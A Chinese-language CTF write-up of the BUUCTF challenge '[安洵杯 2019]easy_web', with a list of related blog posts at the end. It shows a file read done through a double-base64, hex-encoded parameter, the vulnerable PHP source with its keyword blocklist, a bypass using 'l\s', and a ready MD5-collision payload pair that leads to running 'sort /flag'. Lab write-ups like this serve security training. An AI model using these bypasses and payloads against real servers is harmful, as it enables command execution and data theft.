buuctf_练[安洵杯 2019]easy_web

[安洵杯 2019]easy_web

文章目录

掌握知识

url地址和源代码的信息捕捉;图片和base64之间转换;base64和十六进制编码的了解;代码审计,绕过正则匹配对关键字的过滤;MD5碰撞,md5参数强转类型的强等于绕过

解题思路

  1. 打开题目地址,发现网页信息,狠狠地真实了WEB手。网页没看出什么内容,先查看源代码,发现了一个图片的html标签,里面是对其图片信息进行base64的结果
  1. 没发现特别的信息,看了一眼url地址发现直接给出了了两个参数,查看参数名能感觉到第一个是图片名第二个应该是要执行的命令。但是第一个参数很明显是进行编码的,看其很像是base64经过两次base64和一次十六进制解码得到了文件名为555.png
  1. 联想一下刚才图片标签中的base64信息,猜测修改文件名就可以进行文件读取的操作。尝试读取index.php文件,先进性16进制编码在进行两次base64进行传参,将标签内的base64编码进行解码,得到了index.php的源代码

    index.php
    696e6465782e706870
    Njk2ZTY0NjU3ODJlNzA2ODcw
    TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

  1. 得到了源代码就要开始代码审计了,先进性一下简单分析发现关键点在cmd参数,img参数传参再利用完文件读取就没有什么用处了。cmd的参数是系统命令,其中需要绕过挺多的正则的,但都是关键字匹配,可以使用参杂符号来进行绕过,关键的几个符号没有背过滤就好。在执行命令前还需要通过md5的强比较,这里进行了类型的强转,所以使用数组就不可以了,但是相关的paylaod网上还是随便搜索的
php 复制代码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi嚚?no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
代码分析
  1. 对于改题目的正则匹配,ls被过滤了但是依旧可以使用参杂符号的形式来绕过,例如l''s l\s进行绕过,这里在shell解析器中都会被当作ls执行,但这里单引号被过滤了,就使用后者进行绕过,读取文件的命令有很多,这里可以使用掺杂符号进行绕过,还可以使用其他的命令进行查看文件内容。没有过滤空格和/还是不错的
php 复制代码
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
}
  1. 很明显这是md5函数绕过的判断,不同以往的md5强比较的题目,这里对传入的值进行了了强转字符型的操作,这样就不能使用数组进行绕过了,需要去进行md5碰撞得到两个字符串不相同但是md5的结果相同的。当然这在网上已经烂大街了,搜索一下md5碰撞绕过也就能找到相应的paylaod。通过这波判断也就能执行传入的命令了
php 复制代码
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
正式解题
  1. 绕过的条件已经分析好了,直接使用分析得到了的paylaod进行抓包传参,发现目录下并没有flag,前去查看根目录发现flag文件。毕竟是GET传参还是bp抓包,所以空格还是替换成%20才能够被解析
  1. 这里就不使用参杂符号绕过了,使用sort进行读取文件得到flag

关键paylaod

php 复制代码
index.php
696e6465782e706870
Njk2ZTY0NjU3ODJlNzA2ODcw
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

cmd=l\s
cmd=l\s%20/
cmd=sort%20/flag

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
相关推荐
康熙38bdc20 分钟前
Linux 环境变量
linux·运维·服务器
一丝晨光21 分钟前
Java、PHP、ASP、JSP、Kotlin、.NET、Go
java·kotlin·go·php·.net·jsp·asp
speop1 小时前
【笔记】I/O总结王道强化视频笔记
笔记·音视频
hakesashou1 小时前
python如何比较字符串
linux·开发语言·python
Ljubim.te1 小时前
Linux基于CentOS学习【进程状态】【进程优先级】【调度与切换】【进程挂起】【进程饥饿】
linux·学习·centos
cooldream20092 小时前
Linux性能调优技巧
linux
yngsqq2 小时前
031集——文本文件按空格分行——C#学习笔记
笔记·学习·c#
QMCY_jason2 小时前
Ubuntu 安装RUST
linux·ubuntu·rust
慕雪华年2 小时前
【WSL】wsl中ubuntu无法通过useradd添加用户
linux·ubuntu·elasticsearch
苦逼IT运维3 小时前
YUM 源与 APT 源的详解及使用指南
linux·运维·ubuntu·centos·devops